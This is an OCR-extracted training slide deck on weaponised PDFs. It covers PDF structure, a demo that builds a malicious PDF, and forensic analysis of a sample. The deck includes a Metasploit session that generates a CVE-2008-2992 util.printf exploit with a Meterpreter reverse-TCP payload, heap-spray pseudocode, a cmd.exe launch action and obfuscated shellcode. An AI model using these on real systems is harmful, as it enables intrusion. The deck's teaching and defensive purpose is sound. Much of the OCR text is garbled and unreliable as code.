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Weaponised PDFs

version: 1.6
Binary: True
Lingarized:

True
Encrypted: False
Updates: 1
objects: 69

Streams: 29
URIs: 1
Compents:

Errors: ©

0

Version ©;
Catalog: 13
Info: 11

Objects (2): [12, 37) OCLAdGONLOF XCO0ACWaXeRDQTZLaZzxnknf IELBWLQZQOBPPAKYHNUSTE )
Streams (1): [37) QEJUFIBCNTORIVEEFDIFXVLDGCLWIRODNGK ) |
Xref streams (1): [37) YIKNWQp2zTE = BWSeSnwiBbGabdxIer.substring(8, hWSeSnwlBbGab
Encoded (1): [37] QCLWIRODNGK) ;
While(YIKhNQpZTL, lengthelUTnVWISFPINeWOGE JUr SBCATGKIVAEFDAF
version 1: YIKhNQpZTt+OCLAdGONtOFXCOGLcWaXeRDQTztaZrxnkhf IEDBW1QZQOBPpAKY
, DI IYRLGLZNROJUAIAINZhBVQDYPSpMEPYOQMIYXoQTIEDF T JTARGCICVH
Catalog: 13 ):
Info: 11 for (xV1aFVRx=0;xV1aFVRx<1459;xV1aFVRx++) bJdIYhLGtZwROJUA
Objects (67): (1, 2, 3, 4, 5, 6, 7, 8, 9, 18, lougnGATVVZ1CNNSMZ 1yuYCKrAXKRE [XVIAFVRX] = YIKNWQPZTT + KLAlShS
, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 38, 31, lGasvQroolaGngMAypOpunkrxvQTIQGeBoiq;
’ “60 41, ‘20 “30 4‘: 45, ‘61 471 48, ‘90 50, 51' 52, utll.prlntf("MSﬁOO.-%SOGGf', 8);
, B0, 61, 62, 63, 64, 65, 66, 67, 68, 69)
Compressed objects (37): [38, 39, 40, 41, 42, 43, 44, 45, a6, 47, 48, 49
, 50, 51, 52, 53, 54, 55, S6, 57, 58, 59, 60, 61, 062, 63, 64, 05, 66, &7, 68, B,
9. 6, 7, 16, 11]
Errors (5): (16, 32, 33, 34, 36)
Streams (28): [69, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 2
8, 29, 30, 32, 32, 33, 34, .35, 36, 1, 2,3, 4, 5)
Xref streams (1): (5]
Object streams (4): [16, 1, 3, 4]
Encoded (27): [69, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 2
6, 27, 28, 29, 36, 31, 32, 23, 34, 35, 36, 1, 3, 4, §)

var n SUEF PO LISHGVUU T QP S IRV QNOROGKBA UGLYT RVDGa
for (NCPLRQxXROCCIWeTVWPDOPKHCCELIQNazsrgzDIVviBaCvquY wVpbxl
fVI1RaCvquY IWVpDXL INMQUQOIXKR>0D; - - NCPIRQXROCC IMOTVVPLOPRMCCE LQN
MevuuIlgpsZKvrQNdROCKBCKF FugLyY FRVDQACIWTCONDGRXACE += unescape
KLALShSemBt 1VQJICGF IGEQERNTt oW JRISINKKTT1t0ITITAUTQRZVDANGY
ISH0VvULE 1gpsZRVIrQndROGKBCKF FruglLy TKVODQac INTCOWRGPXICD + @)
MSeSnwlBbGabdxier = unescape(“Susbeoufdai™);
KIKVDU ) FRTwpZ FUEQQCQOPR I VMZeQUEMGXZY 1 JUPT 1GVD IBHAMFXSCVXS)
UTRVWISFPTReWOQEJUr IBCNTOKIVOEFDLF ZVLDGCLWImODNGK = KIXvODU
10ZQ IMAR0VMHAXpgVenwKFCtef ZKRSCNE«KLALShSeaBL IVyJCGF IGhENNE ckn
ravQTIQGeBoiq. length
while (hWSeSnwlBbGabdxler.length<UTnVWISFPTNaWOQEIUr LBENTG
nwlBbGabdxIer ;
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Geraint Williams, CISO, GRC International Group

Introduction

Taught Information Security, Ethical Hacking and Digital forensics
Former Payment Card Industry Qualified Security Assessor
Payment Card Industry Consultant

Worked with breached companies

Former Ethical Hacker

Information security consultant

Now Chief Information Security Officer
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Objective

To inform those who would like to know why clicking on an
attachment can be bad news for them and/or their employers

To encourage penetration testers to learning and develop new
skills

To encourage people to go into forensics and incident
investigation as it is rewarding and challenging

To show students why learning about programming, protocols
and structures of documents and applications is important part
of their role.
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Agenda

Why weaponizing PDFs
Creating weaponised PDFs
Analysing weaponised PDFs
Protecting yourself

Any Questions



Thu 04/10/2018 12:19

DC Document Centre {noreply@jawiSi-}

Document Centre

o OVEED

DOW.0347367.5AV.180701.180930.20181004.121132791.pdf _
F | 91 KB

Dear Customer

v

Please find attached a document relating to your share dealing account.
Kind Regards

The Document Centre

NOTE: Please do not reply to this e-mail as this Mailbox is not monitored.
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- Wana Decrypt0r 2.0 R |
Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

Payment will be raised on

SM162017 00:47:55

==j Can | Recover My Files?
Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.

i R But if you want to decrypt all your files, you need to pay.

= ot You only have 3 days to submit the payment. After that the price will be doubled.

Also, if you don’t pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn’t pay in 6 months.
Your files will be lost on

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

A i ™ Jd b s

572002017 00:47:55

Time Left

Ll L A -~ -

Send $300 worth of bitcoin to this address:

1213YDPgwueZINyMgw519p7AABisjr6 SMw
et | Checkpayment Ml Decypt |

bitcoin
ACCEPTED HERE
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What is a PDF

e PDF stands for Portable Document Format.

 The PDF format was originally developed by Adobe in the
early 1990s for the U.S. Federal Government to store its
legacy files.

* |In 2008, they dropped this ownership and the PDF became
an open standard.

— PDF files are Compatible Across Multiple Platforms
— Compression of a PDF File is Substantial

— The Software to View PDF Files is Freeware
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Why was it created

In the early 90s, professional software used to create
graphics and documents resulted in unbearably large files,
especially when they had pictures, fonts, and other
graphical elements embedded.

Remember that machines in this time had a tiny fraction of
the processing power of the computer you’re using,
meaning every bit of efficiency was vital.
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The solution

In an attempt to fix this, software developers started using
links to other resources on the computer.

Say you used a special font in your document.

Instead of saving all the data for this font inside your
document, it would pull the needed information from the
font’s installation folder on your computer.

This reduced the load on the document file, making it
lighter.
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Advantages of PDF

PDFs allow for fine-tuned security settings.

When you create a PDF, you can disable viewers’ ability to
print the document, leave comments on it, or copy its text.

Thus, when governments and businesses put forms online,
they can heavily restrict them to prevent abuse.

For more security, you can also password-protect a PDF.
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Features of a PDF

PDFs also work with fillable fields.

A PDF creator can place highlighted blocks anywhere in a
document to show where they’d like a signer to add
information.

Even if they’ve restricted editing, a viewer can still type
their name, address, and other pertinent info into these
fields.

PDFs support electronic signing, so you can add your
consent to a document without having to print it out.



Aot us
iyugt
39 iuum
st bu
1CY 1
A8B801zZ
1 3wch
Sgu 1h
23\)

koa

h'?r‘ 1\)
uySduw

hfc3

Shs0O
Wrerw9a
hgsuyu
bcoac
huwba
auita

Continuing Use

 Minor features like adding comments, highlighting,
stamps, plus hyperlinks and other live content have kept
PDFs relevant into the current decade.

e Optical recognition software can capture documents and
easily turn them into PDFs, and some independent
publishers even put out books as PDFs.

* |ts ease of use, solid feature set, and ubiquity has
enshrined the PDF into everyday computing life
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PDF Ability

The PDF has ability to deliver rich contents (static and dynamic)

Combined, these elements can deliver a visually appealing,
interactive, and portable document

While we have all benefited from this feature-rich information-
sharing venue, there exists a darker side

The dynamic PDF capabilities mentioned above can and have
been used to house malicious content

In previous years, cybercriminals embedded malicious script to
install malware and steal user credentials.
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PDF malicious behaviour

* Normally, the PDF malware’s malicious behaviour is in a
script that is embedded in PDF files.

* The scripts that are responsible for malicious behaviour
can be written in a scripting language that PDF supports.
JavaScript is the most popular for this purpose.

* |In most cases, the embedded scripts are responsible for
dropper functionality, or else there is a need to install an
OS-based malware on the victim’s system.
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What makes PDF vulnerable

* The PDF format supports the following
— System Commands:
— Hidden Objects:
— Embedded Flash:
— Embedded Media Controls:
— Embed Any File:
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Attackers

* Take advantage of the PDF document
* To exploit the viewing application
* As a stepping stone

* To exploiting a device
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Acrobat Reader : Vulnerability Statistics

Vulnerability Trends Over Time

Hitp

#of Cod M Sql Direct B Gai Gai Fil #of
Year Dos E_l Owverflow emcur.y ) q_ rectory Response ypas_s aln. . ,m CESRF 15: )
Vulnerabilities Execution Corruption Injection Traversal Splitting something Information Privileges Inclusion exploits
4
2 ™S 7 1999 1 1 1
y - A . -
- . 2000 1 1 1
fyug
o - J‘.‘ < 2001 1
}< ke Pl 2002 1
B .
’ ‘I'\ 2003 3 2 1
2004 6 3 4
2005 9 4 ] 3
2006 7 2 3 1 2
2007 g 3 3 1 2 1 1 1
2008 11 2 8 4 1
2009 39 14 30 17 10 1 1 2
2010 63 35 60 33 29 2 3 1 4
2011 60 21 48 33 i7 3 2 [ 1
2012 30 24 30 24 23 1
2013 66 30 &0 43 30 3 1 1
2014 44 17 35 17 17 1 ] 4
=119 (’ j) 2015 137 29 61 39 24 61 20
.- - 2016 20 11 17 11 11 1 2
DWOUMN — === = = =
i ‘=1 == 2017 130 g2 54 35 & 35
oUuYSYe
S ';’l':' - - 2018 42 14 4 i 1 i
9} (') d 3> Total 635 192 465 295 221 3 1 a4 51 13 1 3
! :. :i_ 7 % Of All 28.0 67.9 43.1 32.3 0.0 1.2 0.0 0.1 12.3 8.9 1.9 0.1 0.0
h — - - » »
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Kaspersky report 2018 Q2

In late March 2018, a PDF document was detected at VirusTotal that
contained two 0-day vulnerabilities: CVE-2018-4990 and CVE-2018-
8120.

The former allowed for execution of shellcode from JavaScript via
exploitation of a software error in JPEG2000 format image processor in
Acrobat Reader.

The latter existed in the win32k function SetlmelnfoEx and was used
for further privilege escalation up to SYSTEM level and enabled the PDF
viewer to escape the sandbox.

An analysis of the document and our statistics show that at the
moment of uploading to VirusTotal, this exploit was at the
development stage and was not used for in-the-wild attacks.



Sophos report 2017 H1

= Word Document
™ Excel Spreadsheet
PDF Documents
® Rich Text Files
" PowerPoint Presentation

29, 2%

|

= \VBA
™ Embedded Dropper (J5/VBS/LNK)
Phish

H Other
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Human view of a PDF

Provldsningsexemplar / Preview

INTERNATIONAL ISO
STANDARD 32000-2

Document management —
Portable document format —

Part 2:
PDF 2.0

Gestion de documents — Format de document portable —
Partie 2: PDF 2.0
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Hexeditor v 0.3 - Read Only - Ch\Users\GWilliarms\Documentsh\Suspect PDPymalicious. pdf

Hex editor view of a PDF file

File Edit Tools

gooooooooo | 25 50 44 46 2D 31 ZE 35|00 0& 25 Fe B9 B2 F3 0D #PDF-1.5. .50t 26,

gooooono1o bﬁ 31 20 30 20 eF &2 BA|3C 3C 2F 54 79 23 37 320 .1 0 Dbj<</Ty#?D
0000000020 | 23 36 35 2F 23 34 33 23|36 31 23 37 34 23 36 31 | #6S #4386 1474461
0ooooono30 | 23 36 63 23 36 66 23 36|37 2F 4F 75 23 37 34 23 #ocHeL#ET7 A 0UMT4H
gooooonod4n | 36 63 69 BE 23 36 35 23|37 33 20 32 20 30 20 52 bcin#BS#73 2 0 R
goooooooso | 2F 50 23 36 31 &7 65 23|37 33 20 33 20 30 20 52 SP#blged#7s 3 0 R
gooooonoen | 2F 4F 23 37 30 65 23 36|65 23 34 31 23 36 33 23 SORTDedbedd I#63#
goooooooyo | 37 34 23 36 39 6F 23 36|65 20 35 20 30 20 52 3E Td#bY90#he 5 0 B>
gooooonosn | 3E 65 6E B4 6F 62 BA 0D |0& 32 20 30 20 6F 62 BA rendohj. .2 0 ohj
gooooooo90 | 3¢ 3¢ 2F 23 35 34 23 37|39 23 37 30 23 36 35 ZF SRS ARTARTORBE S
goooooooaD | 4F 23 37 35 74 6C 23 36|39 23 36 65 BS T3 OZF 43 O#75L1#09%0ees T
QooooonoeO | 23 36 6B ¥5 23 36 65 23|37 34 20 30 3FE 3E 65 GE #ofuwbe#?4d 0>ren
gooooonoco | 64 6F 62 BA 0D D& 33 20|30 20 6F B2 B& 3C 30 2F dobj..3 0 obj<<s
gooooooopo | 23 35 34 79 23 37 30 23|36 35 2F 23 35 30 23 36 #odw#70#65-#50#6
QooooonoED | 31 &7 65 23 37 33 ZF 4B |23 36 39 64 73 5B 34 20 lge# 73 -E#b69d=s[4

gooooooorFo | 30 20 52 5D 2F 23 34 33|23 36 6R 23 37 35 23 36 0 R]-#43#60E#75#0
gooooonloo | 65 74 20 31 3E 3E 65 GE |64 6F 62 BA 0D 0& 34 20 et 1xrendobj..d

goooooolio | 30 20 6F 62 6& 3C 30 2F |23 35 34 79 70 65 ZF 23 0 obj<< #54dvpe#
gooooonolizo ) 35 30 23 36 31 23 36 37|65 2F 50 23 3e 31 23 37 S0#B1#67=-FPHELET
0ooooon1l3n | 32 65 23 36 65 74 20 33|20 30 20 52 2F 23 34 64 fefbet 3 0 Bo#4d
gooooon1i4o0 | 65 64 23 36 39 61 23 34|32 23 36 66 78 5B 30 20 ed#bYa#d btz 0

goooooolsn | 30 20 3 31 32 20 37 39|32 5D 3E 3E 65 6E 64 6F 0 Bl2 79Z]):rendno
gooooonled | 62 B& 0D 0& 35 20 30 20|6F 62 6& 3C 3C 2F 23 35 hj..5 0 obj<<-#5
gooooooiyo | 34 79 23 37 30 65 ZF 23|34 31 23 36 33 74 69 6F i le #418063531 10
gooooonlisn | 23 36 65 2F 23 35 33 2F |44 61 7R Bl 23 35 33 63 #ee #5353 Java#5ic
gooooonolen | 72 69 70 23 37 34 ZF 42|53 20 36 20 30 20 52 3E rip#74-.J5 6 0 R
gooooonlan | 3E 65 6E B4 6F 62 BA 0D |0& 36 20 30 20 6F 62 BA randohj. .6 0 ohj
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Document structure

Header
Object

Object

Object

Object

Cross Ref.

Trailer

1 0 obj
<<
/Type /Catalog
/Pages

/Resources <<

/Font <<

/r1 !

>>
>>
/MediaBox [0 O 795 842)
/Parent
/Contents ¢

/Type /Page

. ok
<< /Langth 53 >>

stream

BT 1 T /¥l 30 TLf 350 750 T4
(foobar) T4 ET

endstream
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PDF Structure

 The general structure of a PDF file is composed of the following
code components:

— Boolean values, representing true or false

— Numbers

— Strings

— Names

— Arrays, ordered collections of objects

— Dictionaries, collections of objects indexed by names
— Streams, usually containing large amounts of data

— The null object
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g5 bu Read from the end of the file

A8B01Z
1 Swch
LA 1 h Trailer Dictionary

cl 4’2 - \) | |

v

At

h?r‘lu

I Document Catalog Document Information

- I Dictionary
UySduw
gyhfc3 ‘ l
25 hs0O

wWewSa Page Tree Document Outline

h o Suu | T T | (Bookmarks)
bcoac ¢
|

hvuwba v
auiti Page | | pPage2 |

%ulgf‘

WOoOuUn r’ Ij lj
SUu89e ‘

TO?YSN

C87hs Page 1 Contents I Fage T Resources I Fage 2 Contents I Fage 2 Resources
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icq Sample object structures
A8017Z
1 3wch
j‘_,‘} AN Trailer Dictionary

(Ll‘ l

Document Information
Dictionary

}( Key Value type |Value Key ;a'”e value
pe
- . e . . s . I b T el
} | { r 1 \ ) /Size* | Integer Total number of entries in the file’s cross- [Title tf“,t Th:h‘j:‘““t“‘;“t 5,:1“19' \:1& 1:?“ 111“5‘;
string | nothing to do with any title displayed on
”~
. ’ } (1 . 3 W reference table (usually equal to the number of the first page.
- .
- — 4 ObJ ects 1n T}JE ﬁ].E' p]US ODE‘.), /Subject text The subject of the document. Again, this is
] ( string | just metadata with no particular rules
- e . ) about content.
- 1—— » } } - N () /Root® | Indirect The document catalog.
s — /Keyuwords text Keywords associated with this document.
» . - /Key y
) ( -{- ‘J C ; "1 reference string | No advice is given as to how to structure
- b to these.
hoasuu . _ -
- -— — S d](‘.‘tlDll ary [fauthor text The name of the author of the document.
- - - - -~ string
bCcoac _ _ .,
/Info Indirect The document’s document information [CreationDate | date | The date the document was created.

nhuvwbha

string

reference | dictionary.

a L l 1 t l to /ModDate date The date the document was last modified.

string

- o s
=118 (‘ f~ dictionary
hand /Creator text The name of the program which originally

} string | created this document, if it started as
) J ( N /ID Array of Uniquely identifies the file within a work flow. another format (for example, “Microsoft
' Word™).
— ) l ; i €2 two The first string is decided when the file is first
/Producer text The name of the program which converted

string | this file to PDF, if it started as another

7 r 4 - Strings created, the second modified by workflow

)Dx.)}h . : ? for example, the f fa word

- g-:; .__z } S‘j'StE'lnS “-hen thev nlOdlfj' the ﬁle format (for example, the format of a wor
L= :

pProcessor).
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Actions within a PDF

Execute a menu item * Play media

Go to a 3d/multimedia view e Read an article

Go to a page view * Reset aform
Import form data * Run aJavaScript
Multimedia operation e Set layer visibility
Open a file e Show/hide a field
Open a web link  Submit a form

Play a sound
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Triggers within a PDF

Mouse up * Mouse down
Page visible * Mouse enter
Page invisible * Mouse exit

Page enter * On receive focus
Page exit * On lose focus
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JavaScript

Launch actions

Features of a PDF

Embedded files

GoToE actions

Embedded flash applications

Encryption

Parser “flexibility”
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— Compromise an existing PDF by adding malicious code

e Technical the more complicated method

hixriv * Tools can help
y3duw

héEce3 * Produces a more authenticate package
985 hs0 * Malicious code more likely to be harder to find

X rwoqa
hgsyu
bCoac * Easierto do
}\UWba * Tools can help
auiti
aunigft
DWoOoOUNn * Easier to detect malicious code
>y89Ye

TO7?oM

287hs

— Programmatically create a PDF around malicious code

* PDF will be empty or very simple
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Executing Malware with PDF

 When we open any malicious PDF file, it will execute a
trigger action and launch a script, command or file as
specified.

* The script, command or file will then often execute
additional payload from the PDF, from across the internet
or in another file

* and it exploits the JavaScript; after that, the shell code is
processed and a Trojan will be executed from the Internet.



dofus

LYyugr

Z&gf;\;tm

gsi bu ' '
ey Example trigger action

ABo1Z

1 3wch

syuilh 8 0 obj

- % ‘j <<

?‘ 5; \i) ~Tvpe ~Action
(-;’ 7S ZLaunch

K438 ~Win

hixriv <<

UySduw F{cmd . exe)

uyhtcs s 2

. 8]\:.?() e

HXewla

hgsyu

bcoac

huwba * ‘cmd.exe’ will be opened as soon as the file is opened.
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Demo

* Create a blank pdf that contains an exploit and a payload
e Execute that payload using JavaScript as the file is opened

* Use a free tool designed for penetration testers

— ‘Dual use’ tools that can be used by hackers and testers alike
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The Attack

util.printf(“%45000.45000f” will cause a buffer overflow
executing code we have loaded into memory

If we can load shellcode into memory in the right place the
buffer overflow will allow it to execute

We will use a heap spray to get the code into the correct
location

The shell code is a standard exploit form Metasploit that
opens a reverse connection to a remote machine
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Unlikely to succeed in the wild!
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Create a Malicious PDF File with Metasploit

* The steps for creating our malicious PDF file are as follows:
 Open msfconsole
* Select an exploit, select a payload and set the options

* Once we have all the options set the way we want, we run
“exploit” to create our malicious file.

e We can see that our PDF file was created. You can access
this PDF by using the given path



dot us
1yugt
3g iuum
st bu
1CY 1
A8B801zZ
13wch
Sgu 1h
23\)

kB4

h'?x‘ 1v
uySduw

hfc3

Shs0O
Wrerw9a
hgsuyu
bcoac

Geek Alert: Heap Spray

* Heap spraying is a technique used in exploits to facilitate

arbitrary code execution

In general, code that sprays the heap attempts to put a certain
sequence of bytes at a predetermined location in the memory
of a target process by having it allocate (large) blocks on the
process's heap and fill the bytes in these blocks with the right
values

Heap sprays have been used occasionally in exploits since at
least 2001 but the technique started to see widespread use in
exploits for web browsers in the summer of 2005 after the
release of several such exploits which used the technique
against a wide range of bugs in Internet Explorer



dofus
Lyugt
3({1un

cs¢%4y  Heap Spray (buffer overflow on steroids)

AB801Z

l W C h <script> i
wih : |

a a3 \) spray = build_large_nop_sled(); |

L‘ < Al4]——
g a =new Array(); NOP Sled

}1 '« i \)
=) 3 d = for(i=0; i< 100; i++) Shellcode
ghfc3 a[i] = spray + shellcode; |
L — : AlSEa
;(gll»}ég </script> NOP Sled
hgsyu '
bcoac
huvwba e |
auiti
aunigt
h U89 Shellcode
Segos w k
L : |
=1 =14 hs | |

Exploit trigger condition goes here Shellcode

NOP Sled
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CVE-2008-2992 Adobe util.printf() Buffer Overflow

e Stack-based buffer overflow in Adobe Acrobat and Reader
8.1.2 and earlier allows remote attackers to execute
arbitrary code via a PDF file that calls the util.printf
JavaScript function with a crafted format string argument

util.printf(“%45000.45000f”)

e Basically trying to print a number that has 45000 places in
front of the decimal point and 45000 places after the
decimal point (90kB of data)



Create a Malicious PDF File with Metasploit

root@fde9b3b80ca7: /tmp/data# msfconsole
. IX00KXXXKOOx1: .
, 0OWMMMMMMMMMMMMMMMMMMEKd ,
"X NMMMMMMMMMMMMMMMMMMMMMMMMMIW X,
rKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK :
. KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
IWMMMMMMMMMMMXd @ . . .. ; dKMMMMMMMMMMMM o
XMMMMMMMMMMWA . . ONMMMMMMMMMM k
oMMMMMMMMMMx . dMMMMMMMMMM x
WMMMMMMMMM @ MMMMMMMMMM,
¥MMMMMMMMMo IMMMMMMMMMO
NMMMMMMMMW , cccccoMMMMMMMMMW1ccecc;
MMMMMMMMMX ; KMMMMMMMMMMMMMMMMMMX
NMMMMMMMMW . ; KMMMMMMMMMMMMMMX ;
XMMMMMMMMMd ; GMMMMMMMMMMK ;
. WMMMMMMMMMC ' OMMMMMMB ,
IMMMMMMMMMME . . kMMO'!
dMMMMMMMMMMIW '
CWMMMMMMMMMMMNXC ' .
. OMMMMMMMMMMMMMMMMIWC
; OMMMMMMMMMMMMMMMO |
. dNMMMMMMMMMMMMoO +HE++ R
' 0 OWMMMMMMMMoO +:1+
., cdk0okK; i 1+

AHHHHHH H
Under Construction

metasploit v5.0.0-dev-786629a

1818 exploits - 1031 auxiliary - 315 post

539 payloads - 42 encoders - 10 nops

2 evasion

** This is Metasploit 5 development branch **

+ + + +

1

1

i

i
I mn
—————
S S S |




Imsf5 > use exploit/windows/fileformat/adobe_utilprintf

msf5 exploit(windows/fileformat/adobe utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

s S exploit(windows/fileformat/adobe_utilprintf) > set LHOST 129.168.1.11

g LHOST => 129.168.1.11

msf5 exploit{windows/fileformat/adobe_utilprintf) > set LPORT 4455

LPORT == 4455

msf5 exploit{windows/fileformat/adobe_utilprintf) > show options

fModule options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

fPayload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 129.168.1.11 yes The listen address (an interface may be specified)

LPORT 4455 yes The listen port

**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**

MExploit target:

Id Name

® Adobe Reader v8.1.2 (Windows XP SP3 English)

msf5 exploit{windows/fileformat/adobe_utilprintf) > exploit

[*] Creating 'msf.pdf' file...
msf.pdf stored at /root/.msf4/local/mst.pdf




Detection on submission to AV engines

SHAZ56: f4d8263720364af58c950f75392a82dab466dd89429156af280c06d69edadffe b

File name: maliciouspdf. pdf
Detection ratio: 35/ 59 .r 0 0

Analysis date: 2018-10-09 18:56:06 UTC ( 0 minutes ago )

= Analysis @ File detail @ Additional information & Comments L1 Votes

Antivirus Result Update

Ad-Aware Exploit. PDF-Mame.Gen 20181009
AlLYac Exploit. PDF-Mame.Gen 20181009
Arcabit Exploit. PDF-Mame.Gen 20181009
Avast JS:Pdfka-AK [Expl] 20181009
AVG JS:Pdfka-AK [Expl] 20181009
Avira (no cloud) EXP/Pidief.azz 20181009
Baidu J5.Exploit. Pdfka.adb 20181009

BitDefender Exploit.PDF-Mame.Gen 20181009
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Signs of a malicious PDF

A single page
Inclusion of /IS or /JavaScript
Use of /AA or /OpenAction to launch script without interaction

Combination of automatic action and JavaScript is very
suspicious

Use of JBIG2Decode requires further investigation
/AcroForm can contain JavaScript

Streams with unusually lengths ie O or very large
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hgsyu — pdfid.py — pdfid.py
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bwoun
oy89e
TOTYoONM
287hs




dofus
Lyugt
3g1un
st bu
1CY 1
A801Z
1'13wc h
wih

a 23\)

kgtl(

hdxriv
uySduw

hfc3
28 hs0
Werws9a
hgsuyu
bcoac
huwba
auiti
aunigft
Dwoun
SUu89e
TO?YSNM
587bs

Typical steps

Find and Extract Javascript

Deobfuscate Javascript

Extract the s
Create a she

Analyze shel

nellcode

lcode executable

code and determine what is does
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Structure of Malicious.pdf

 PDF files consist of tree structure of
objects

 The last object (Trailer) is read first
to find the location of other objects

* If can contain multiple trees if had
objects added, or linearised

Object 1
Catalog

Object 2
Outlines
No outlines

Object 3
Pages (Parent)
Only 1 child

Object 4
Content (Kids)
Mediabox

Object 5
Open Action

Call JavaScript on openin

(=]




ﬂ PDFStreamDurmper - http://sandsprite.comn FileSize: 7 Kb LoadTime: 0.266 seconds
Load Exploits Scan Javascript Ul Unescape_Selection Manual_Escapes Update_Current_Stream  Goto_Object  Search_For  Find/Replace Tools Help_Videos

7 Objects B

E“: “‘ /Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R
‘ (=340 He

3 HLen: 0x33 >>

4 HLen: O0x47

5 HLen: 0On3g CaﬂOg . '

& 0x20C-0x1584 Defines Outlines, pages and what to do on opening of PDF

0 HLen: 0xD7

OpenAction goto object 5

Text | HexDump | Stream Detailsl I

Message

Parsing Complete Objects: 7 Elapsed Time: 0.157 seconds
0xDE8 bytes after end of last cbject @ ocffset Oxl35&

Errorsl Search Debug (2) I

Zhell | PDF Path IC:\Users\Gh’illiams\Documants\Suspec:t PDF\malicious.pdf | Load | Bbort |

| streams:1 | | Embeds: 0 [ Pages: 1 | ITF: 0 [ U3p: o | f1asn: o UnkFlt: 0 | Action: 1 | PRC: 0 Y
=

o0 leld e




ﬂ PDFStreamDurmper - http://sandsprite.comn FileSize: 7 Kb LoadTime: 0.266 seconds
Load Exploits Scan Javascript Ul Unescape_Selection Manual_Escapes Update_Current_Stream  Goto_Object  Search_For  Find/Replace Tools Help_Videos

7 Objects I B

/Type/Outlines/Count 0

3 HLen: 0x3% >>
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Draw a mediabox on page

& 0x20C-0x1584
0 HLen: 0xD7
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L Hhems Omes /Type/Action/S8/JavaScript/Js 6 0 R
2 HLen: 0xZE >
3 HLen: 0x3%
4 HLen: 0x47

& 0x20C-0x1584
0 HLen: 0xD7

Action onLoad
Calls JavaScript routine in Object 3 on opening of document

Text | HexDump | Stream Detailsl I
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Parsing Complete Objects: 7 Elapsed Time: 0.157 seconds
0xDE8 bytes after end of last cbject @ ocffset Oxl35&

Errorsl Search Debug (2) I

Zhell | PDF Path IC:\Users\Gh’illiams\Documants\Suspec:t PDF\malicious.pdf
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| Lbort |
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UnkFlt: O Action: 1 FRC: 0O
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H PDFStreamDurmper - http://sandsprite.comn FileSize: 7 Kb LoadTime: 0.266 seconds

Load Exploits_Scan

7 Obj ects

2 HLen: 0xZE
3 HLen: 0x3%
4 HLen: 0x47
5 HLen: 0x3&

0 HLen: 0xD7

PDF Path |L‘.:\Users\(}‘h’illiams\Document.s\Suspec‘.t PDF\malicious.pdf |

Streams:1

Javascript_UI

Unescape_Selection Manual_Escapes Update_Current_Stream  Goto_Object Search_For Find/Replace Tools Help_Videos

=% NCH

var WmgqTWOauvhsaUdedOpvIeBLzbujcuglihNPBfTcmYKgphtiRajidMuuVIbzaHyMuezxmv = unescape ("%ub23d%u347a%
uT762c3u7b72%u9949%u9%0bl%ud5s2b%ub8aB8%u3592%uld79%u98a9%u%6b4%u2d15%u224a%u27d4%ubb97%u7d05%ub648%uld77%uf928%
u20ba%u2ff8%ud09£f3udddbiue3f63ulcd2%udT791%u3cb9%uBb37%ud6e2%u391d%ub7£5%3udf73%ubfB8d3%u8004%ub0fctu2474%u7241%
ud601%uba®93%ul046%u24eltu?2993%u76bbFu714f3uf90b%u6696%ud6l13%u0474%u05773u9f2d%u70b2%ueb08%u274a%u787d%u3775%
uc6l19%ue3cliudllbiu3dbe2iuT7ebb%uaB0d?ud31d3u3fodbiu7a79%ue032%udT734%ufc3biu3cbh3%ude7c3ud149%ud00atuddd2%ubi891%
1a%240%u92b7%ufd23%u3048%3u20f8%u8dlcFufb02%ubf15%u97be3ub674b3u737b%ub6423ulcbd3ub9bl3u2f2ciuld7£3u983d%ul2b0%
u25d5%ue338%ub697dtuclffiuTee23u0dT73u2a73%3u37£55u7b7a%u3a48%uf9d35ud298%3ubB8b23ub746%u051ctuel883uT74T7ciub6743%
uT7f79%ul472%ubed9%u863f3u24d5%ub0b3%u2599%u96bf3u3490%u912f3%ulbbb%uf8893u279f%udeBdiubddbiuaddfiu3dd2ciudT4a%
ubba%%u8393%uldcfctudfebiul8’T7iuT70e0%uld41%ud00ctub%batuTlbétueblatu92353u%b663u3304%ubld43u7875%u2d76%ufd03%
uT7c92%ueb29%u7a34%3u6779%uf681%uTbe3%u70273u7d77%uld7e%ube 30%5uf783%ulde03ubll0ctu9bb3%ue?211%uBd4d2%u3cba’%u3b05%
ud033%u24fB8%Fud77f%u74b8%u%646%u04a8%ulb73%u78f5%uell9%ud376%ub72c%ubl99%ulc71%ud60b3%udB866%uf923%ubs9273%u3f41%
u9fdf3u2d75%uB86373ul0d43uddds%ulbb6Ful2b2fFudbbd3udab9%u93b2%ubf98%u3d72%ufceb%u9149%ua%940%udebbiul266%u71fd%
u2474%1e389%u9867Fuf221%u7297%ud31a%ud7ebFub9b73%u359%b%ubfa%%ube2f3ufb85%udabb%u7f42%ue23b%u7004%u227b%u37el%
udf9f3uel80%uT7a73%ufelltuclcTiu05d5%ufc88%ud92c3ude34%u9390%u25485%u91b3%u7c7etu7679%u960ctubeb4diu2d463ubb39%%
uaB8lb3uf803%ufd20%u3l8diub2desu7dT7%u270d%ud31d%u7578%u3c40%u384b%ubi8d4d3ubibl%uba3d®u9214%u3f41su7£7ctu931c%:
